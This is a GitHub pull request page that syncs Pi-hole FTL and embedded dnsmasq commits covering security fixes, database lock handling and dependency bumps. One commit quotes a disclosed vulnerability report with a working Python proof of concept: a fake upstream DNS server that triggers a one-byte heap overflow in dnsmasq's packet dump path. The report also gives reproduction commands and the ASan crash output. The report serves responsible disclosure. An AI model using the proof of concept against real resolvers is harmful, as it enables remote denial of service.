Sync development into special/CI_development - #3034
Open
github-actions[bot] wants to merge 38 commits into
Open
Conversation
If blockdata_expand() fails, it frees the existing block chain and returns zero. Each call to blockdata_expand() checks for the zero return, and calls blockdata_free() as part of its clean-up, resulting in a double-free and crash. Thanks to fallrig for finding this. Signed-off-by: DL6ER <dl6er@dl6er.de>
Implement the OT_DHCP6_VENDOR option type to properly handle the DHCPv6 Vendor Class option (code 16) according to RFC 3315. Previously, this option was marked as OT_INTERNAL, causing dnsmasq to fail immediately if configured by name. Bypassing this block by using the numerical option format (option6:16) caused the payload to be formatted with an unintended string-length prefix. This broke compliance because the RFC requires a fixed 4-byte Enterprise ID at the beginning of the option, followed by data blocks. This byte misalignment broke features like UEFI HTTP IPv6 Boot This patch removes the OT_INTERNAL restriction and moves the formatting logic to the parser phase, correctly assembling the wire-format layout (4-byte ID + 2-byte chunk length + string) so it can be injected directly into the network buffer. Signed-off-by: Luiz Angelo Daros de Luca <luizluca@gmail.com> Signed-off-by: DL6ER <dl6er@dl6er.de>
An oversight in commit f9f8d19bf5f636d2313b69399c3c24b89b53bee6 leaves a code path where a repeat of a query gets an error reply which discloses the id field used in interactions with upstream servers ro get an answer to the query. By triggering this code path, an attacker can determine the id, which makes Kaminsky cache poisoning attacks much less expensive and much more certain. This bug exists in stable releases 2.91, 2.92 2.92rel2 and 2.93 Thanks to Ronen Shustin from Project Atlas, Wiz for finding this problem. Signed-off-by: DL6ER <dl6er@dl6er.de>
On further analysis, the problem is deeper: Other error paths (which are not accessible to an attack) can also return an incorrect header->id value, and most error paths return incorrect query case if --do-0x20-encode is in use. Signed-off-by: DL6ER <dl6er@dl6er.de>
Thanks to Metadust/Hamza (Github: @metadust) for spotting this. Signed-off-by: DL6ER <dl6er@dl6er.de>
Thi specifically avoids bad behavior with --log-facility=/dev/null Signed-off-by: DL6ER <dl6er@dl6er.de>
Signed-off-by: DL6ER <dl6er@dl6er.de>
The immediate motivation for this is to fix a potential
one byte buffer overflow. The rewrite to fix that resulted in
better code, but no other behavioural changes.
Thanks to Omkhar Arasaratnam for finding the overflow. His
report is below.
------------------------------------------------------------
Summary
-------
When packet dumping is enabled (--dumpfile / --dumpmask), dnsmasq writes one
byte past the end of the upstream-reply receive buffer whenever the reply it is
dumping has an odd byte length. do_dump_packet() pads the buffer for its
checksum computation with:
if (len & 1)
((unsigned char *)packet)[len] = 0; /* for checksum, in case length is odd. */
packet here is the exact-sized receive buffer for the upstream reply, so index
[len] is one byte out of bounds. A malicious or compromised upstream nameserver
(or an on-path attacker able to spoof a UDP reply) that returns an odd-length
answer triggers the overflow on every dumped packet.
Affected code (built HEAD cf08eeee12b0f76a1259736c7795bfae82e08d2c)
-------------------------------------------------------------------
- Sink: src/dnsmasq/dump.c:243 — ((unsigned char *)packet)[len] = 0; in do_dump_packet()
- Reached via: dump_packet_udp() (src/dnsmasq/dump.c:120) <- reply_query()
(src/dnsmasq/forward.c:1224) <- check_dns_listeners() <- main().
Class: CWE-787 out-of-bounds write (1 byte). Impact: ASan/hardened-alloc abort
(remote DoS of the resolver) and latent 1-byte heap corruption in release builds.
Precondition: dumpfile/dumpmask enabled.
Reproduction
------------
PoC: poc.py (minimal fake upstream that returns an odd-length, DNS-shaped reply).
# Build at HEAD with dumpfile support + ASan
make -j4 CFLAGS="-DHAVE_DUMPFILE -fsanitize=address -g -O1"
export ASAN_OPTIONS=halt_on_error=1:abort_on_error=0:exitcode=99:detect_leaks=0
python3 poc.py 2267 & # odd length; 1497 also fires
dnsmasq --no-daemon --port=5353 --listen-address=127.0.0.1 --bind-interfaces \
--no-resolv --no-hosts --server=127.0.0.1#5354 \
--dumpfile=/tmp/dump.pcap --dumpmask=0xffff
# forward a query so the odd-length reply is dumped
dig @127.0.0.1 -p 5353 victim.test +tries=1 +time=3
Evidence
--------
stdout.txt — verbatim ASan report captured 2026-07-02 at built HEAD cf08eeee:
WRITE of size 1 ... 0 bytes to the right of 2267-byte region ... in do_dump_packet
src/dnsmasq/dump.c:243:36, ==ABORTING.
Suggested fix
-------------
Do not write into packet[len]; compute the odd-byte checksum contribution from a
local copy of the final byte, or allocate the receive buffer one byte larger for
the dump path. Alternatively pad into a scratch buffer rather than mutating the
received packet in place.
---- PROOF-OF-CONCEPT: poc.py ----
import socket, struct, sys
PORT = 5354
TARGET_LEN = int(sys.argv[1]) if len(sys.argv) > 1 else 2267 # odd
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(('127.0.0.1', PORT))
s.settimeout(8.0)
print(f"[upstream] listening UDP/{PORT}", flush=True)
while True:
try:
data, addr = s.recvfrom(8192)
except socket.timeout:
print("[upstream] timeout, exiting", flush=True)
break
if len(data) < 12:
continue
qid = data[:2]
header = qid + struct.pack('!H', 0x8180) + struct.pack('!H', 1) + struct.pack('!H', 0) * 3
# echo the question section
i = 12
while i < len(data) and data[i] != 0:
i += 1 + data[i]
end_q = i + 1 + 4 if i < len(data) else len(data)
qsec = data[12:end_q]
body = header + qsec
pad = TARGET_LEN - len(body)
body = body + b'\x00' * pad if pad >= 0 else body[:TARGET_LEN]
s.sendto(body[:TARGET_LEN], addr)
print(f"[upstream] sent {len(body[:TARGET_LEN])} bytes to {addr}", flush=True)
break # one-shot
---- CAPTURED OUTPUT (verbatim from the run) ----
Fresh verbatim capture 2026-07-02. Built HEAD cf08eeee12b0f76a1259736c7795bfae82e08d2c.
ASAN_OPTIONS=halt_on_error=1:abort_on_error=0:exitcode=99:detect_leaks=0
Only the build-tree prefix has been neutralized to <ROOT>; PIDs, addresses,
offsets, frame symbols, line numbers and shadow bytes are otherwise verbatim.
dnsmasq: started, version UNKNOWN cachesize 150
dnsmasq: compile time options: IPv6 GNU-getopt no-DBus no-UBus no-i18n no-IDN DHCP DHCPv6 no-Lua TFTP no-conntrack ipset no-nftset auth no-DNSSEC loop-detect inotify dumpfile
dnsmasq: using nameserver 127.0.0.1#5354
dnsmasq: cleared cache
dnsmasq: dumping packet 1 mask 0x0001
dnsmasq: dumping packet 2 mask 0x0004
=================================================================
==4200==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61d000001d5b at pc 0x55d1d877eb3e bp 0x7fff30d2ad90 sp 0x7fff30d2ad88
WRITE of size 1 at 0x61d000001d5b thread T0
#0 0x55d1d877eb3d in do_dump_packet <ROOT>/src/dnsmasq/dump.c:243:36
#1 0x55d1d877dc2d in dump_packet_udp <ROOT>/src/dnsmasq/dump.c:120:8
#2 0x55d1d86f0533 in reply_query <ROOT>/src/dnsmasq/forward.c:1224:3
#3 0x55d1d870d513 in check_dns_listeners <ROOT>/src/dnsmasq/dnsmasq.c
#4 0x55d1d8709945 in main <ROOT>/src/dnsmasq/dnsmasq.c:1318:2
#5 0x7fe839e29d8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: 095c7ba148aeca81668091f718047078d57efddb)
#6 0x7fe839e29e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) (BuildId: 095c7ba148aeca81668091f718047078d57efddb)
#7 0x55d1d85ee6d4 in _start (<ROOT>/src/dnsmasq/dnsmasq+0x586d4) (BuildId: 1a53a57dfe7ae24e2759b8529f3347380facb52b)
0x61d000001d5b is located 0 bytes to the right of 2267-byte region [0x61d000001480,0x61d000001d5b)
allocated by thread T0 here:
#0 0x55d1d8671708 in __interceptor_calloc (<ROOT>/src/dnsmasq/dnsmasq+0xdb708) (BuildId: 1a53a57dfe7ae24e2759b8529f3347380facb52b)
#1 0x55d1d86c95ad in safe_malloc <ROOT>/src/dnsmasq/util.c:321:15
#2 0x7fe839e29d8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: 095c7ba148aeca81668091f718047078d57efddb)
SUMMARY: AddressSanitizer: heap-buffer-overflow <ROOT>/src/dnsmasq/dump.c:243:36 in do_dump_packet
Shadow bytes around the buggy address:
0x0c3a7fff8350: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c3a7fff8360: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c3a7fff8370: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c3a7fff8380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c3a7fff8390: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c3a7fff83a0: 00 00 00 00 00 00 00 00 00 00 00[03]fa fa fa fa
0x0c3a7fff83b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c3a7fff83c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c3a7fff83d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c3a7fff83e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c3a7fff83f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==4200==ABORTING
EXIT: ASan ==4200==ABORTING. heap-buffer-overflow WRITE of size 1, 0 bytes to the
right of the 2267-byte upstream-reply receive buffer. The odd-length (2267) reply
from the fake upstream drives do_dump_packet's odd-length checksum pad write at
src/dnsmasq/dump.c:243 (`((unsigned char *)packet)[len] = 0;`) one byte past the buffer.
Signed-off-by: DL6ER <dl6er@dl6er.de>
When dnsmasq forks a child to handle a TCP connection, the child inherits copies of all listening sockets. These are never used but keep the underlying sockets alive in the kernel. If a network interface is removed and re-added while a child is running, the parent's attempt to re-bind fails with EADDRINUSE because the child still holds a reference. Close all listener fds (UDP and TCP) in the child immediately after fork in both do_tcp_connection() and swap_to_tcp(). [Original patch extended by Simon Kelley to include the TFTP listening socket, and to extend the existing race-protection scheme for the netlink socket to the listening sockets. Any bugs are my responsibility.] Signed-off-by: DL6ER <dl6er@dl6er.de>
This may not be necessary, as the socket doesn't revieve broadcasts, but it can't hurt. Signed-off-by: DL6ER <dl6er@dl6er.de>
Signed-off-by: DL6ER <dl6er@dl6er.de>
Corrected spelling errors in comments and function names: - recieved/receive -> received/receive - error_occured -> error_occurred - prefered -> preferred - wierd -> weird - datastuctures -> datastructures - explictly -> explicitly - ouptut -> output - arrising -> arising - encapulation -> encapsulation - scrips -> scripts - adn-hosts -> addn-hosts - removed repeated 'the the' in three comments Generated by AI (opencode). Signed-off-by: DL6ER <dl6er@dl6er.de>
Historically, DHCPv4 client options are configured as dhcp-option=option:ntp-server,.... dhcp-option=42,.... DHCPv6 long ago added dhcp-option=option6:sntp-server,.... dhcp-option=option6:31,.... This patch adds equivalents of this for DHCPv4 dhcp-option=option4:ntp-server,.... dhcp-option=option4:42,..... and for good measure dhcp-option=option:42,..... and clarifies the man page. Thanks to Martin-Éric Racine for pointing this out. Signed-off-by: DL6ER <dl6er@dl6er.de>
Signed-off-by: DL6ER <dl6er@dl6er.de>
Signed-off-by: DL6ER <dl6er@dl6er.de>
ESNI never saw real deployment. Cloudflare and Firefox rolled it out and then moved on, and clients and servers use Encrypted Client Hello instead. ECH is carried in the HTTPS record on the same RRname, so a blocked domain is already covered without a dedicated option - which our own help text for the key has said for a while. This removes the key, the `_esni.` fallback lookup in `FTL_check_blocking()` and the `BLOCK_ESNI` import from the pre-v6.0 config reader. Removing a config key is only possible in a major release, hence v7.0. An existing `pihole.toml` that still carries the key is not a problem: the reader only iterates keys it knows, so the stale line is ignored and drops out the next time the file is written. The two API tests that used `dns.blockESNI` as a generic boolean subject now use `dns.CNAMEdeepInspect`. Signed-off-by: DL6ER <dl6er@dl6er.de>
The route was an alias of `/api/action/flush/network`, pointing at the same handler, and has been marked `deprecated: true` in the OpenAPI spec with a note to use the replacement instead. Removing an API route is only possible in a major release, hence v7.0. Callers still on the old path get a 404 and need to move to `/api/action/flush/network`, which behaves identically. Signed-off-by: DL6ER <dl6er@dl6er.de>
`SQL_bool()` returns from the calling function when a query fails, which is wrong in both halves of this function. Between `lock_shm()` and its matching `unlock_shm()` the hidden return leaves the SHM lock held for good, stalling every thread that touches shared memory, and after the snapshot array has been allocated it leaks it. The four transaction statements now go through `dbquery()` with explicit cleanup, and a failed `END` rolls the transaction back instead of leaving it open on the process-wide in-memory handle. Signed-off-by: 010011110 <duckenheim@posteo.de>
The `JSON_*` macros return 500 from the calling function when a cJSON allocation fails. Eleven of those uses sit between `lock_shm()` and `unlock_shm()` in `api_history()`, `api_history_clients()`, `api_padd()` and `api_stats_recentblocked()`, where the early return leaves the lock taken with nothing left to release it, stalling every thread that touches shared memory. Those sites now test the allocation themselves and release everything they own on the way out: the lock, the partially built JSON tree and, in `api_history_clients()`, the temporary client array. The guard cannot live in the macros: they return from whichever function uses them, which is not always the one holding the lock. `api_list_read()` is called with the lock held by `api_list()`, so unlocking there would unlock twice. `JSON_SEND_OBJECT_UNLOCK()` is removed, it has no users. Signed-off-by: 010011110 <duckenheim@posteo.de>
`arp-scan` and `dhcp-discover` run one thread per interface and `inet_ntoa()` hands every one of them the same static buffer. Signed-off-by: DL6ER <dl6er@dl6er.de>
`strtok()` keeps its parser state in a static pointer shared by every caller. Signed-off-by: DL6ER <dl6er@dl6er.de>
`random()` is not seeded anywhere in FTL and is the wrong generator for an identifier that should be hard to guess; `dhcp-discover`'s transaction ID gets the same treatment. Drop the redundant one-second sleep in `get_secure_randomness()`, as the blocking `getrandom()` it precedes already waits exactly as long as needed. Signed-off-by: DL6ER <dl6er@dl6er.de>
`gravityDB_open()` takes the busy handler off the gravity connection so that a DNS lookup never waits for the database. The API write paths share that connection, and `gravity_updated()` opens a second, read-only one every second from the database thread. A `COMMIT` landing in that window has nowhere to back off to and fails with "database is locked", so the edit is rolled back and the request errors out. Arm the handler for the duration of a write and take it off again afterwards. Reads keep the behavior they have today. The test holds a read transaction on `gravity.db` and writes through the API while it is held, which fails without this change. Signed-off-by: 010011110 <duckenheim@posteo.de>
Fix non-reentrant libc calls reachable from FTL's threads
The four replacements always called `log_err()`, so a transient `SQLITE_BUSY` came out as an error, which also trips the log check at the end of the test suite. `memdb_exec()` restores the split: busy is a warning, everything else an error. Signed-off-by: 010011110 <duckenheim@posteo.de>
`sqlite3_busy_handler()` is a property of the connection, so arming it during a write also let a DNS lookup on the shared connection wait. Open a connection for the write instead, the way `gravity_updated()` already does for its read, and leave the shared one exactly as it is. The test now waits for the reader to signal that it holds the lock, and requires the write to have taken measurably longer than a free one, so it cannot pass without exercising the wait. Signed-off-by: 010011110 <duckenheim@posteo.de>
Release the SHM lock and roll back on early returns
let a write wait for the gravity database instead of failing
`sqlite3_close()` answers `SQLITE_BUSY` while a statement of that connection is still alive, and then does nothing at all: the connection stays open with its transaction and its file locks. We log that and drop the pointer anyway, so nothing can release the database afterwards. Finalize what the caller left behind, naming it as it is a bug either way, and hand the connection over with `sqlite3_close_v2()`. No current path leaks a statement here - the cached ones all belong to the in-memory and gravity connections, which are closed elsewhere. Signed-off-by: 010011110 <duckenheim@posteo.de>
The finalize loop makes `_dbclose()` destructive when it is handed a handle it does not own. `get_row_count()` does exactly that: its prepare-failure path closed unconditionally, so with `memory` set it passed `_memdb`. That was inert while `sqlite3_close()` refused, but finalizing the statements `query-table.c` caches there would leave those pointers dangling. Guard that call site, and refuse the shared in-memory handle in `_dbclose()` itself, as the call-site discipline has already failed once. `gravityDB_close()` now also reports a refused close instead of dropping it silently. Signed-off-by: 010011110 <duckenheim@posteo.de>
The wrappers around the gravity writes closed their connection with a bare `sqlite3_close()`, which is the silent refusal this branch is about: the write connection is the one that can hold an exclusive lock, so losing it is worse there than anywhere else. The finalize-and-hand-over part of `_dbclose()` moves into `dbclose_handle()` and both use it now. `checkFTLDBrc()` stays in `_dbclose()`, a refused close on gravity.db says nothing about the FTL database. Signed-off-by: 010011110 <duckenheim@posteo.de>
`getMACVendor()` finalizes its statement first, so a refusal is unlikely there, but it dropped the return value of `sqlite3_close()` like the other places this branch fixes. Route both closes through `dbclose_handle()`. Signed-off-by: 010011110 <duckenheim@posteo.de>
`gravityDB_close()` finalizes the six shared statements, but a table cursor `gravityDB_readTable()` handed to an API thread can still be open - `api_search()` holds one and takes no lock, so a reload during a search hits exactly that. `sqlite3_close()` then refused and we dropped the connection with its 256 MiB mmap, one per reload. `sqlite3_close_v2()` hands it over instead, so it goes away once that cursor is finalized. `dbclose_handle()` would be wrong here, it would finalize the cursor under the searching thread. Also on the way out: 1. `gravityDB_open()` called `gravityDB_close()` when the open itself failed, which returns early while `gravityDB_opened` is false, leaking the handle and leaving `gravity_db` stale. 2. `getMACVendor()` handed a `macvendor.db` return code to `checkFTLDBrc()`, so a corrupt lookup file disabled `pihole-FTL.db` and logged that file as the damaged one. 3. `get_row_count()`'s doc block still described the connection handling this branch changed, and two comments needed the same. Signed-off-by: 010011110 <duckenheim@posteo.de>
Remove `dns.blockESNI` and the deprecated `flush/arp` API route
Do not drop a database connection that refused to close
Update embedded dnsmasq to v2.93+16
…tory with 4 updates Bumps the github_action-dependencies group with 4 updates in the / directory: [docker/setup-buildx-action](https://github.com/docker/setup-buildx-action), [github/codeql-action/init](https://github.com/github/codeql-action), [github/codeql-action/analyze](https://github.com/github/codeql-action) and [github/codeql-action/upload-sarif](https://github.com/github/codeql-action). Updates `docker/setup-buildx-action` from 4.2.0 to 4.3.0 - [Release notes](https://github.com/docker/setup-buildx-action/releases) - [Commits](docker/setup-buildx-action@bb05f3f...37fe631) Updates `github/codeql-action/init` from 4.37.6 to 4.37.7 - [Release notes](https://github.com/github/codeql-action/releases) - [Changelog](https://github.com/github/codeql-action/blob/main/CHANGELOG.md) - [Commits](github/codeql-action@5595cca...ff2f1c6) Updates `github/codeql-action/analyze` from 4.37.6 to 4.37.7 - [Release notes](https://github.com/github/codeql-action/releases) - [Changelog](https://github.com/github/codeql-action/blob/main/CHANGELOG.md) - [Commits](github/codeql-action@5595cca...ff2f1c6) Updates `github/codeql-action/upload-sarif` from 4.37.6 to 4.37.7 - [Release notes](https://github.com/github/codeql-action/releases) - [Changelog](https://github.com/github/codeql-action/blob/main/CHANGELOG.md) - [Commits](github/codeql-action@5595cca...ff2f1c6) --- updated-dependencies: - dependency-name: docker/setup-buildx-action dependency-version: 4.3.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: github_action-dependencies - dependency-name: github/codeql-action/init dependency-version: 4.37.7 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: github_action-dependencies - dependency-name: github/codeql-action/analyze dependency-version: 4.37.7 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: github_action-dependencies - dependency-name: github/codeql-action/upload-sarif dependency-version: 4.37.7 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: github_action-dependencies ... Signed-off-by: dependabot[bot] <support@github.com>
…opment-github_action-dependencies-7e5b45565b chore(deps): Bump the github_action-dependencies group across 1 directory with 4 updates
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
7 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Created by Github action